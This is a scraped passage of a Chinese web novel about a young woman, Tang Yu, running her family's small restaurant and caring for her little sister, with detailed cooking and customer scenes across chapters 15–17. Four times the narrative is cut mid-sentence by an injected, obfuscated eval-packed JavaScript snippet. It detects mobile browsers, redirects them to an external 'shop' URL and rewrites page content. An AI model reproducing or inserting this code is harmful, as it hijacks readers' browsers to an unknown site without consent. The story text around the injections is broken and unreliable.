大肠这东西清洗起来辛苦，并且耗时间，唐玉不可能一直不收钱。 大多数客人也算理解，毕竟开饭馆要赚钱。 有个客人干脆一咬牙，“给我来一份！” 然后爽快地付了钱。 有一就有二，陆陆续续有客人点红烧肥肠。 成柯两人看到这一幕，大为震惊。 不明白他们的口味怎么变这么快，迷恋上肥肠的味道。 唐玉站在柜台前，统计了下点肥肠的人数，好去厨房做红烧肥肠。 成柯松了口气，“还好我们来的早，不然肯定要排队。” 他算是唐家饭馆的回头客，昨天就想着过来吃，可惜没有时间。 “吃饭了，别瞎想”，薛梧突然道。 成柯回过神，也动起筷子。 咬下去，“嘎吱”一声，小鱼干外皮酥脆十足，内里却有韧性。辣椒炒过的香味，直冲味蕾，能尝到鱼肉一丝丝的鲜嫩，味道醇厚悠长。 这道香辣小鱼干瞬间俘获了成柯的心，他爱上了这股香辣咸鲜的味道。 小鱼干不知道怎么炒的，仍留原先的鲜，青红辣椒的搭配，看着好勾人食欲，辣椒辣味不强烈，但香气很猛，香香辣辣的，很是入味。 鱼干焦脆可口，成柯连辣椒酱都没顾上尝口，一口一口往嘴里塞着小鱼干，胃口一下大开。 等到吃完一整盘，他才反应过来，他胃口向来不大，这次却没有停顿吃完这么大盘盖浇饭！ 要放在以前，一大盘份量的盖浇饭，他总会剩下不少。 成柯今天不仅吃完了，而且连续打了几个饱嗝后，竟然还有股想吃的冲动。 看着好友盘里的小鱼干，还有些发馋。 “你吃完了？”薛梧抬头看到他光的盘子，“既然吃完，我就不分点给你尝了。” 这么一大盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501330|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盖浇饭，还有些不够填满他空虚的胃。 焦褐色的小鱼干均匀码在米饭上，米饭都沾染上汤汁的酱色，青红色辣椒点缀在其中，从卖相上来看，非常下饭。 薛梧几乎饱含热泪来上一大口，香的他说不出话来。 舌尖抵着小鱼干，有股焦香，而且咀嚼起来很脆口，咔嘣脆的声音在嘴里响起来，不失鱼肉的鲜香。 困疲的脑袋都似乎清醒不少。 “哥哥，今天有免费的绿豆汤喝”，唐可儿对两人有印象，蹦蹦跳跳跑过来提醒。 薛梧哈哈笑道，“谢谢小妹妹提醒了。” 然后低头看向小孩，用手比划了下，“咦，你是不是长高了点？” 小孩听到“长高”，骄傲地挺起胸膛，“我长高就是大人了，能帮姐姐干活了。” 在小孩子眼中，长高就意味着长大了。 闻言，薛梧不忍心戳破她，“小妹妹，你还挺懂事。” “好了，别逗她了”，成柯有些看不下去。 “要不要给学校那两位打包份小鱼干带回去？”他又说。 薛梧：“我看可以，别饿着那俩臭小子了！” “老板，打包两份香辣小鱼干盖浇饭！” 想到那两人饭量不小，成柯给他们加了些米饭。 这么好吃的盖浇饭带回去，他们不感动的哭天喊地？！ 唐玉利落应了声，火速到厨房给成柯打包好，并且每个袋子里送了份腌辣椒。 面对他疑惑的眼神，她笑道，“看你们是学生，没少来照顾我的生意，送你们的。” “谢谢啊”，成柯罕见愣了下，被老板明媚灿烂的笑容晃了下眼。 “好了，你们是读大学了吗？” “还没有，我们明年高考”，成柯下意识又问，“姐姐你呢？” “如果没出意外，我今年大一”，唐玉感慨万分。 原身遭家庭变故，被迫中断学业。其中原身学习一直很好，连老师都觉得可惜了。 成柯敛眉，他不会说到老板的伤心事了吧，“姐姐，那我们先走了。” “嗯嗯”，唐玉倒也没觉得有什么不好。 现在开着饭馆，能养活她们一家，已经很好了。 隔壁小孩又吵着闹着了。 男人在院子冲了把脸，只觉得烦。 随手拿了点钱给女人，“带他去隔壁饭馆吃。” 女人想着红烧肥肠不要钱，再去吃最后一次也没事，牵着孩子就走。 “你们这饭菜可真香，我们隔壁都能闻到。” 唐玉从厨房出来，一眼认出这是昨天的女人。 “是要盖浇饭？”她问。 “怎么卖？”女人小心道，肥肠应该不收钱吧。 “香辣小鱼干6块，红烧肥肠5块。” “5块”，女人倒吸口凉气，这么贵怎么不去抢钱？ 数了下手里的钱，刚好五块，不情不愿将钱塞给老板，“来一份红烧肥肠盖浇饭。” “等着，那里有位置坐。” 女人点了下头，脸色不太好，丈夫给的钱都花完了，回去不会骂她？ 小孩却很高兴，“妈妈，等下端回去和爸爸一起吃。” 15. 第15章 等把红烧肥肠炒好，唐玉端出去。 “这一份份量怎么这么多？”女人扫了眼盖浇饭，狐疑道。 怀疑昨天红烧肥肠不要钱，老板就给的少些。 唐玉淡然道，“看你孩子食量不小，既然爱吃这肥肠，我多炒了些。” 听到这话，女人再去看其他桌上的红烧肥肠，份量和昨天差不多。 她误会了对方，当即脸色羞赧。 “谢谢了，老板”，女人真心实意道。 拉着孩子的手就走。 外面太阳毒辣，唐玉热得额头出汗。 匆匆用水打湿毛巾，擦了把脸，又立马去忙了。 王大爷今天一个人过来，巷口那条小狗热的直吐舌头，周大爷嫌天热不愿意过来。 唐玉已经眼熟王大爷，直接问道，“大爷，你吃些什么？” 此时快一点，店里客人少了些。 王大爷没说话，去看菜单，“老板，看来你不算完全没脑子，红烧肥肠今天没有免费卖。” 唐玉：“……” 昨天的免费，算是吸引客人的一种手段呢。 肥肠他尝过了，不错，但香辣小鱼干还没尝过。 “红烧肥肠和香辣小鱼干盖浇饭都来一份。” ”大爷你是一个人来的？”唐玉问道，担心他一个人吃不完，会浪费食物。 “一个人来，但我还要打包份给家里老伴儿带回去。” 闻言，唐玉也这就放心了，“你等着，盖浇饭很快做好。” 烧锅热油，放入葱姜和辣椒爆香，然后她下沥干的小鱼干，开大火爆炒，不断翻炒中，小鱼干那股咸香被炒出来，加勺盐，料酒和酱油，浓烈的香辣气一下窜出来。 外面等待的王大爷香的打了个喷嚏。 他去盛了碗绿豆汤，正好口渴的很。 绿豆软绵可口，清香十足，而汤却是很清甜，消去了他大半的暑气。 王大爷发出声喟叹，舒服。 浑身的燥热立刻一扫而空。 他捧着绿豆汤喝起来，清甜的绿豆汤非常解暑，里面的绿豆口感绵密。 王大爷将绿豆汤喝的一干二净，还有些意犹未尽。 没过多久，唐玉端来炒好的盖浇饭。 王大爷眼睛顿时看直了，没等她转过身，迫不及待拿起筷子。 “小鱼干真是香死个人，感觉我能全部吃完。” “干脆把红烧肥肠盖浇饭打包回去得了。” 就在王大爷快馋晕时，将小鱼干送进了嘴里。 香辣小鱼干出锅前唐玉又放了些青红辣椒段，此时看起来卖相很诱人。 入口小鱼干的鲜香气息钻进鼻子里，勾得他肚子咕噜咕噜叫，先尝到鱼干的咸鲜香辣的滋味，牙齿一咬“咔嚓”声响起，鱼干外表带着点焦酥，内里却很鲜嫩，香迷糊人了。 在口水快流下来前，王大爷将小鱼干吞咽下去。 盘子里的小鱼干不算少，配上青红辣椒段，正好盖上整盘饭，用来拌饭也很香。 这份量实属不算少，王大爷有些可惜周大爷没来，不然要在周大爷面前嘚瑟一番，香辣小鱼干太香了。 客人端到香辣小鱼干盖浇饭，坐下来后吃得头也没怎么抬，因为香辣小鱼干太脆口，香喷喷了。 好好吃！ 他们没空说话，心里却在不断感叹，全身心放松下来，不由抚慰了一上午的疲累。 而且不光小鱼干外酥里嫩，非常好吃，就连放的青红辣椒都很爽口，拌着米饭来上一大口，美滋滋极了。 付了钱，王大爷提着他那份红烧肥肠带走。 忙到快两点，唐玉才有时间去准备她和妹妹的午饭。 小鱼干她裹上薄薄一层面糊，放进油锅炸了遍。 炸好鱼干后，她尝了一个，更加焦脆了。 想到外面肚子空空如也的小孩，唐玉装盘端出去。 小孩指着小鱼干，露出笑容，“好像小金鱼啊。” 小鱼干炸过金灿灿的，还真有点像，香气四溢。 房东过来的时候，唐玉姐妹俩正在吃炸小鱼干。 炸小鱼干吃起来又香又脆，好吃到小孩舔手指，一下俘获了小孩的心。 小孩都没用过筷子，用手将炸小鱼干送进嘴里。 “你做了……炸鱼干？”房东走过来，被盘子里金黄的炸小鱼干吸引，“炸的真不错，没有黑焦糊了，颜色好看！” “才炸不久，姐，你尝尝”，唐玉发出邀请道。 “那我就不跟你客气了”，房东就等着这句话。 拿过筷子夹起条炸鱼干送进嘴里，处理过的小鱼干口感焦脆的很，很是干香，甚至连刺都能嚼着吃。 好吃到她差点咬了舌头。 “不错不错，又香又脆，炸的可真好”，房东笑眯眯道。 客人剩下的小鱼干不多，直接倒掉可惜了点。 唐玉拿去到饭馆后面喂小猫咪。 没等到她靠近，小猫立马迎上来，或许是闻到了鱼香味。 她开始喂小猫，小猫张开嘴咬住鱼干。 吃完小鱼干，小猫摇晃着翘起的尾巴，蹭了蹭她的手心。 唐玉的内心当即一片柔软。 回到饭馆，女人正好来送盘子。 “老板，我来还盘子，我孩子就喜欢吃你家饭菜”，女人笑着道。 “喜欢就好”，得到客人的认可，唐玉有种满足感。 “小玉，你怎么卖起肥肠盖浇饭了？”一看起菜单，房东被吓了跳，这大肠很少有人吃。 “昨天我买了不少大肠，打算这两天卖完，姐，你吃午饭了没有？” 房东一句“吃了”快说出口，突然想到在家的丈夫睡过头，午饭都没有起来吃。 “小玉，你帮我弄一份红烧肥肠，我带回去。” “好的姐，你等一下啊。” 唐玉火速炒好肥肠，拿来打包盒装的，递给房东。 房东拿到红烧肥肠盖浇饭，心想这会是什么味道。 “5块一份……” 喃喃后，把钱给唐玉。 但唐玉死活不肯接，“姐，我请你吃的，不用给钱。” 房东眉毛一敛，有些不乐意，“不给钱，对不起你的好厨艺。” 正当唐玉愣神片刻，钱被塞到了她手里。 香辣小鱼干本来就很好吃，而且唐玉做的好，格外受客人欢迎，这不还没到晚饭，小鱼干卖完了。 过来排队的客人都点名要香辣小鱼干，唐玉没有办法，只好实话实说。 引得有些客人很不满，“什么，香辣小鱼干卖完了？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501331|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “老板，你现在去买小鱼干不行吗？” 看着人群外可怜兮兮的小孩，她一个人去买食材？唐玉不放心妹妹独自在饭馆。 唐玉只好赶紧安抚客人，“真的不太方便，明天我多买些小鱼干，保证每位客人都吃上香辣小鱼干。” 不少都是回头客，大家也没有那么强人所难。 “既然不方便，老板去买够食材也行。” “老板，那现在是不是只有炒面和红烧肥肠盖浇饭了？” 唐玉点点头，“确实只有炒面和红烧肥肠了。” “算了，给我来个红烧肥肠盖浇饭！” “我要个炒面。” “……” 唐玉默默记下，系上围裙，去厨房炒菜。 七点左右，月亮攀上来。 昨天买的大肠全卖光了，应该能赚点。 唐玉洗好碗筷，终于能坐下来休息。 “姐姐，我给你来捶背”，小孩屁颠屁颠跑过来，很是活泼。 “那辛苦可儿了”，唐玉倒也没有那么累。 听到小孩很自责道，“姐姐，可儿中午不该吃那么多小鱼干，害晚上没有卖。” 说着，小孩眼眶就红了。 “好了姐姐也吃了不少小鱼干”，唐玉转身轻声安慰起她，“小鱼干明天姐姐多准备些，够卖就行了。” 小孩太过懂事也不是一件好事。 唐可儿点了下头。 晚上唐玉回去一算账，比昨天多卖了点，收入破一百六十，勉强能赚个小一百。 早晨，唐玉被外面的汽车鸣笛声吵醒，睁开了眼。 房东下去取牛奶，给她送来订的牛奶。 “别只顾着你妹妹，这段时间忙，你消瘦了不少”，房东说。 “我知道，麻烦姐了。” 唐可儿从房间出来，看到桌上有瓶牛奶。 是牛奶耶！ “姐姐，哪来的牛奶？”唐可儿兴奋道。 “给你订的牛奶，吃完饭再喝哦”，唐玉端着菜从厨房出来。 “姐姐，你对可儿真好！”小孩跑到唐玉怀里，撒娇起来道。 这段时间，小孩对她逐渐放下戒备，开朗不少。 “去洗漱吃饭”，唐玉捏了捏小孩的脸蛋，长肉了。 要出门前，小孩才将牛奶喝完，“好喝~” 唐玉眨了眨眼，刚才小孩想将牛奶给她喝，但她拒绝了。 逛起菜市场，唐玉想起要买小鱼干和辣椒。 干瘦老太太看到她来，“姑娘，要买点什么？” “我要些小鱼干，要晒久了那种。” 买好小鱼干后，唐玉□□货店前悬挂的腊肠吸引了目光，顿住脚步。 这些腊肠色泽均匀漂亮，有股温润的油脂香。 她上前挑了些腊肠，又去蔬菜摊买了玉米和辣椒等。 想好了今天的菜单，加上个煲仔饭。 煲仔饭的做法，唐玉在原身父母留下来的书籍中看过，有腊肠，玉米和胡萝卜丁，底下是米饭，在煲仔饭的锅边浇上圈酱汁，然后开火煮。 唐玉去买了做煲仔饭的锅，她们坐公交车回去，提太多东西走不动，好在老板有自行车，能把锅具送到饭馆。 见状，她更想攒钱买辆自行车了。 16. 第16章 把食材放到厨房，唐玉从老板手里接过锅具。 然后用盆接好水，锅具放进去清洗。 锅她买了二十个，花去不少钱，但饭馆只有两个灶头，最多煮两个煲仔饭。 “姐姐要做什么好吃的？”小孩跑来问。 唐玉摸了摸她的头，“今天我要做煲仔饭。” 她占了个灶头做煲仔饭，时不时拿起那本书看。 调料放多少，需要很注意，好在唐玉嘴巴刁，一下能尝出味道来。 等到往砂锅浇上圈调的酱汁，焖煮米饭，那股米香混合着油香的香味飘了出来。 小孩在前面招呼客人，还挺像模像样。 店里一共有六张桌子，一下坐满了人。 有客人进来感叹，“好香，老板，不管这是什么，我要一份！” 听到动静，唐玉跑出来，“各位吃点什么？我正在做煲仔饭。” 煲仔饭，大家都没尝过，纷纷来了兴趣。 “给我来份煲仔饭！” “我也要一份！” “……” 唐玉清点了下人数，一共要做二十多份煲仔饭。 只有两个灶头，做煲仔饭耗时间。 她提醒道，“煲仔饭出餐慢，至少要二十多分钟才能出餐，如果有客人等不了，可以下午早点过来。” 此话一出，只有一小部分人离开。 不知道人群中谁说了句，“我等的了，反正现在才十点五十，我出去转几圈回来，煲仔饭应该做好了。” “这点时间还等不了，配吃什么美食啊！” 唐玉看不少人坐下，才放心回厨房。 “煲仔饭怎么卖？”没过多久，有客人问。 唐可儿记得姐姐的话，报出价格，“煲仔饭，八块一份。” “这么贵？”那人皱眉直呼道，但还是要了份煲仔饭。 唐可儿去厨房告诉姐姐。 “大爷，你又来了！” 王大爷坐在这里，是陪王奶奶过来的。 昨天王奶奶尝了红烧肥肠后，只觉得惊为天人，肥肠怎么能处理那么好，滑嫩不说，香味还浓。 这香味勾得她胃里馋虫犯了，一大早催王大爷过来吃盖浇饭。 谁知道王大爷去下了会儿棋才回家，她看王大爷下棋下傻了。 王奶奶馋得坐立难安。 别家的盖浇饭她尝过，就不是那种味，太过普通平淡，根本不能抚慰她的胃。 王大爷搓着手，“老板，我老伴儿要个红烧肥肠，我要份煲仔饭。” 隔老远，就听到有人声嘶力竭点了份煲仔饭。 “不好意思，肥肠昨天卖完了，今天没准备做。” 王大爷紧张到不行，去看老伴儿的眼神。 “那就和他一样要个煲仔饭”，王奶奶丧气道。 没点到红烧肥肠盖浇饭，可惜了。 唐玉很快端着锅煲仔饭上来，正热气腾腾，她用毛巾托住锅两边，安稳放到王奶奶面前，又去端来另一份。 “慢用，小心烫。” 只见锅里的腊肠表面泛着油亮，玉米粒，胡萝卜丁和青菜做搭配，平稳码在颗粒分明的米饭上，最底下是金黄色的锅巴。 不管怎么说，闻起来很香。 王大爷悄悄吞了下口水，调侃了句，“点煲仔饭还送砂锅吗？” 王奶奶盯着面前的砂锅，这直冲面门的香味，让她胃口大开。 将手边的酱汁倒进去，拿来勺子一通搅拌。 “还是你会吃，老伴儿”，王大爷说。 王奶奶眼里只有金黄的煲仔饭，听不到他说了什么。 她完全被这锅香喷喷的煲仔饭吸引走了！ 挖起一大勺米饭，油润的米饭配上咸香的腊肠，还有若有似无的油香。 王奶奶埋头吃着。 而王大爷眼馋那锅巴久了，用勺子撬起块锅巴，塞进嘴里。 酥脆的锅巴在嘴里发出“咔嗞”的清脆响声，焦香四溢，锅巴没有黑糊，沾上店里准备的酱料，让锅巴多了几分咸香酥甜的味道。 不止是王大爷，不少客人纷纷露出如痴如醉的表情。 这煲仔饭的和他们想的大不一样。 锅里的煲仔饭腊肠油亮，黄色的玉米粒，红色的胡萝卜丁还有翠绿的青菜，在视觉上冲击感很大，一勺子能舀起一大勺，上面是诱人的食材，底下是颗粒分明的米饭，一口下去，咸香鲜脆的滋味尽数在嘴里绽放。 实在太香了！ “煲仔饭不比昨天的红烧肥肠盖浇饭差！”王奶奶突然来了一句。 这个煲仔饭很是下饭，说不定人人吃也不会腻。 “确实如此”，王大爷附和道。 腊肠的油脂渗透进温润的米饭，倒上酱汁后，浓郁的酱香味瞬间完全点燃整个味蕾。 这米买的好，米饭粒粒饱满有弹性，咬下去米香味在齿间散开。 满嘴是酱香咸香，吃着一点不腻。 隔壁小孩又被馋哭了，闻着饭馆飘出来的饭香味，吵着嚷着要吃。 连面前的米饭都没动一口。 男人：“随他去，爱吃不吃，到时候饿了自然会吃的！” 女人却有些心疼孩子，“要不我带孩子去求求老板？” 闻言，男人剔了她眼，“你要去丢人现眼自己去，别拉上我！” 女人没办法，抱起孩子去饭馆，“我家孩子就想尝尝你们这的饭菜。” 唐玉顺势问起，“要吃点什么？有炒面，盖浇饭还有煲仔饭？” 原本趴在女人肩上无精打采的小孩看到桌上的煲仔饭，咽了口唾沫，看直了眼。 “妈，我要吃那个！”他指着道。 女人只好讪讪笑道，“老板，那个多少钱？” “八块。” 一听这话，女人一句“好贵”脱口而出。 “能便宜点卖吗？小孩子胃口小，吃不了那么多。” 唐玉坚持道，“只有八块的煲仔饭。” 定好的价格她怎么好随意改，叫其他客人会如何想。 肩上的小孩闹腾起来，“我要吃，我就要吃那个！” 又哭又闹，引得不少人皱眉看过来。 女人很是尴尬，走不是待着也不是，抬起手打了下孩子，“就你贪吃嘴馋，现在闹有什么用？” 看到这一幕，唐玉有些心累。 走进厨房，将块锅巴装到袋子里，出来给女人。 “算我送给你们的锅巴， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501332|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们赶紧走，别影响其他客人用餐。” 此话一出，女人注意到其他人鄙夷的目光，拿着锅巴带小孩离开。 “饭没买到？”男人没好气道。 女人叹了口气，“买不起，但老板送了块锅巴，看……我们儿子吃这么香！” 听到是送的，男人无地自容，“以后没钱别去饭馆了。” 送走客人后，唐玉做了两份煲仔饭，然后开餐。 她尝了口煲仔饭，煲仔饭她第一次做，浇了些香油和酱油，闻起来格外香。 味道她挺满意，给小孩喂了口煲仔饭。 小孩嚼了嚼带着米饭的锅巴，腮帮子微微鼓起。 金黄酥脆的锅巴咬下去，焦香浓郁，不显油腻，酱汁渗透进米饭，味道丰富不少。 煲仔饭卖的不错，一中午卖出去三四十份。 但清洗起砂锅就难了。 “洗锅呢，需不需要帮忙？”房东提了袋豆角过来，乐呵呵道。 小可儿认识房东，飞快叫人，“姨姨。” “孩子真乖”，房东上下扫视了下小孩，好歹长肉了，到底是孩子亲姐姐，嘴硬却心软的很，“早上牛奶好喝吗？可儿。” “好喝~”小孩还很羞涩。 房东没忘正事，“小玉，我来给你们送豆角，自家种的豆角。” 翠绿的豆角看着就很嫩，色泽漂亮。 “谢谢姐了，要吃煲仔饭吗？”唐玉接着道。 房东笑了笑，“可能是我见识少，还是第一次听说煲仔饭。” “我去做份，给你端来。” 房东拦住她，“我暂时还不饿，我们先把这些锅洗了再说。” 洗好砂锅，房东去店里等待起来。 “小玉，你爸妈留下来的店还是太小了，有没有想过换个地方开饭馆”，等唐玉端着煲仔饭出来，打量完饭馆的房东说。 “姐我没钱换地开店，可能以后有钱了，会考虑下”，唐玉实话实说。 “那我帮你先看下哪地好，开店合适。” 唐家饭馆每个月租金就要一百多，在巷子里，唐玉觉得有点贵了，而且饭馆确实不大。 和房东说好后，“姐，尝尝我的手艺。” 房东喉结一滚，只见砂锅里的腊肠切的齐整，两边翘起，晶莹剔透的，色泽诱人，还放了些青菜、玉米粒和胡萝卜丁，葱花撒在最上面点缀…… 香味直冲她的大脑，看着还不错。 “小玉，我上次送来的锅碗瓢盆，里面好像也有砂锅，你用了吗？” “姐，你送的是大砂锅，我另外有用，这些小砂锅我在菜市场买的。” 房东“哦”了声，这时唐玉端来拌饭的酱汁。 “没有点饺子，这酱汁是……”房东很是疑惑。 “酱料拌饭用的。” 房东眼里只有写了“好吃”二字的煲仔饭，只顾埋头吃起来。 腊肠的咸香甜润，带着股若有似无的油香，来上口米饭，香甜又有嚼劲，满嘴的米饭香。 发现筷子不顺手，房东改用勺子。 还有玉米粒鲜甜，沁出汁水，胡萝卜丁清脆可口，解了不少腻，连青菜都脆嫩清爽。 一口接着一口，房东吃的很是过瘾。 17. 第17章 对了，房东想起唐玉说的话，拿起小碗，将酱汁淋漓尽致浇到煲仔饭上，这浓郁的酱汁散发出来的香味让她不由分泌出唾液，等到用勺子往米饭一搅，每粒米饭被酱汁紧紧裹着，再这么一尝，她直接睁大了眼睛。 这酱汁在米饭里，一点不显突兀，反而很是香口，连几种配菜口感都变丰富了不少。 看到这一幕，唐可儿那叫一个自豪。 自豪姐姐厨艺好，做的菜菜香，姨姨都很爱吃！ 房东几乎风卷残云吃光整锅煲仔饭，原本平坦的肚子都圆滚起来。 匆匆抹了下嘴，仍有些意犹未尽，“小玉，我要打包份煲仔饭带走。” 带回去让丈夫也尝尝煲仔饭的滋味。 唐玉笑着说，“那姐等一下。” “你让我把砂锅带走？”房东以为她打包煲仔饭会用饭盒装着，没想到是用砂锅。 “姐，你要了两份煲仔饭，砂锅送你也没什么事。” 房东立道，“这可不行，砂锅你还要用来做生意，我有时间过来还给你。” 闻言，唐玉只好点头。 煲仔饭用砂锅装着，才觉得正宗，而且锁住食材的原汁原味。 待房东离开，唐玉把砂锅拿去厨房清洗，而唐可儿爬上椅子，拿着毛巾擦桌子。 唐玉从厨房出来，小孩在练字。 “姐姐要眯会儿，可儿要不要也休息下？” “好啊”，小孩轻快地答应，这段时间的姐姐让人好想亲近，好温柔。 房东提着煲仔饭回家，哼着歌。 丈夫打趣道，“路上捡钱了？看你这一脸高兴的。” “比路上捡钱还高兴呢，给你打包的煲仔饭”，房东想都没想道。 映入眼帘的是一口砂锅，丈夫当即瞪大眼睛，这是什么吃法？ 看他傻了吧唧的模样，房东笑了，掀开锅盖。 香气立马朝他扑鼻而来，因为工作昏沉的脑袋顿时清醒不少，“哪家的煲仔饭，这可真香！” “我们楼下那对夫妇的饭馆，现在姐姐在开，够香吧，等你吃了，会更加惊艳”，房东很是得意道。 楼下那大点的姑娘，房东丈夫脑海中那姑娘还很年轻，有能力能开家饭馆？ 太过年轻了些，他不是很相信。 房东一看他脸色，知道他在想什么。 这可是她吃过最美味的煲仔饭了！满满的锅气，没有一点糊味，连那锅巴都非常脆口焦香，她能吃好几块。 眼看丈夫要用筷子，房东给他拿了个勺子，“用这个吃。” 丈夫接过，挖起勺热乎的米饭，里面混合着不少菜，有腊肠青菜……一勺吃起来脆爽，葱香很清香，尤其是这腊肠香嫩到流油，满嘴都是肉香味，他感叹了句，“好吃！” “那当然了，也不看看谁给你打包带回来的。” 浓郁的酱汁渗透进米饭里，很是下饭，连青菜都很入味，一点都不腻。 吃到后面，金黄色的锅巴锁住了他的目光。 “我不爱吃……” 房东一听乐了，“你不喜欢吃锅巴，给我吃！” 话落，就要跟他抢煲仔饭。 丈夫连忙护住面前的煲仔饭，“我吃的完，真的。” 他急火火往嘴里塞上一大块锅巴，边缘两侧非常焦脆，沾着米饭的部分则很香软，抵在舌尖处十分香甜。 “唐家饭馆的……锅巴好香！”丈夫含糊不清道。 唐玉一整天没闲下来过。 店里总是零零散散来客人，她一边要和前面的客人沟通，一边要去后厨炒菜。 “来一份煲仔饭！” “给我打包份煲仔饭！” “我要个炒面，香葱多放点。” “……” 晚上一回到家，唐玉差点累趴下来。 “姐姐好辛苦啊~”小孩很是心疼道。 唐玉连手指都懒得抬，缓了好一会儿才起来。 “姐姐，要不要招人帮忙？”这时，小孩睁着圆滚滚的大眼睛说。 原身父母在时，饭馆招了个帮厨，但是后面生意一落千丈，才辞了帮厨。 “不用，姐姐一个人可以的”，唐玉捏了捏小孩的手心，很是柔软。 饭馆每月房租和食材费等，哪一样不用花钱，她暂时没多余的钱招工。 接着唐玉算起今天的账。 煲仔饭卖出去五十多份，炒面和盖浇饭都卖了十多份，这么一算不得了，今天收入有五百六十。 除去买砂锅的钱，食材等成本，至少能赚个小三百。 她早上还担心煲仔饭卖不出去，看来是多余的。 不过煲仔饭出餐慢，有几个客人等不急，退了餐，而且洗脏砂锅也是大工程。 “姐姐，明天我们还卖煲仔饭？”小孩问。 唐玉甩了甩酸痛的胳膊，“煲仔饭还卖，但是……” 要涨价，毕竟只有两个灶头，做煲仔饭太耗时间和精力，一份煲仔饭都能炒三四份盖浇饭。 她不担心客人会不来，因为开店这段时间以来，今天生意最好。 次日一大早，唐玉准时起来。 她们早上吃鸡蛋饼，她拿来鸡蛋和面粉。 先把鸡蛋打散，加入盐与葱花搅拌均匀，然后倒入适量的面粉。 这样的面糊唐玉等锅热，才慢慢倒进去，没过多久成形，她给翻面煎另一边。 唐可儿被香甜气唤醒，连鞋都没穿，跑过厨房。 “姐姐做了鸡蛋鸡”，唐玉发现小孩，对她说。 “赶紧回房间穿鞋，然后去洗漱来吃饭”，看到小孩光秃秃的脚丫，唐玉不由蹙眉。 “好~” 早饭是姐姐做的鸡蛋饼，唐可儿吃了好几块，接着又喝起牛奶。 吃完饭，唐玉带小孩坐公交去菜市场。 想起房东昨天送来的豆角，她可以买些面条，做个豆角焖面，那炒面今天就不做了。 她挑了挑面条，又买些猪肉，另外又称了些腊肠青菜，煲仔饭还得继续卖。 手上东西多了起来。 公车上有大姐说，“姑娘，你买这么多东西回去，够吃好几天了！” 对此，唐玉没有多说什么，笑了笑。 炒面换成了豆角焖面，她在小黑板上改过来。 上好的猪肉切成薄片，豆角她择过后，锅里倒了勺洁白的猪油，把猪肉片放进去炒，接着下手指宽大小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508294|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆角，然后放入一小捆面条，加些调料翻炒均匀，开大火焖煮一阵子，这股霸道的香味和昨天煲仔饭的香气不同，既有满满的肉香，又带着恰到好处的油香。 恐怕没人能难以抵挡这样的香味！ 等豆角焖面炒的差不多，前面来了客人。 “来份炒面，多放些辣椒。” 唐玉有些不好意思指了下菜单。 等客人看完菜单，沉默了。 “炒面没了？倒有个豆角焖面”，客人嘀咕道，“这么香，老板在做豆角焖面？” “今天有豆角，才选择做豆角焖面”，唐玉解释道。 客人一咬牙，“那来一份！” 陆陆续续又来了不少客人。 突然有人惊呼道，“煲仔饭昨天卖八块，今天还涨了一块卖九块！” “让我看看，还真涨价了。” 成柯过来的时候，听到了客人的嘀咕。 煲仔饭？他还没吃过呢，但一看价格八块一份，钱没带够。 有些遗憾对老板说，“姐姐，来份豆角焖面。” 唐玉攥着钱，一下认出眼前的成柯，打趣道，“这次你朋友没和你一起来？” “他要去图书馆学习，我只好一个人来了。” 唐玉占了一个灶头做豆角焖面，等到焖面出锅，那股香味怎么也藏不住了。 在大厅看书的成柯快要馋哭了。 “你的豆角焖面好了，喜欢吃辣桌上有辣椒酱可以加。” 成柯饿了一上午，此刻双眼放光。 面条热气腾腾，满是油亮，与翠绿的豆角纠缠在一起来，肥瘦相间的肉片微微翘起，底下有浓郁的酱汁，裹住面条后，色泽诱人极了。 他拿起筷子挑起一大坨面条，眼睛都没眨下，筷子翻动间，露出那翠嫩的豆角段和肉片。 香气顺势钻进成柯鼻子，他猛然吸了一大口气。 真的好香！ 夹起一大坨面条送进嘴里，这才叫过瘾，黏糊浓稠的酱汁裹住面条后，让面条很是入味，根根分明，而且筋道十足，肉片很有嚼劲，豆角鲜脆。 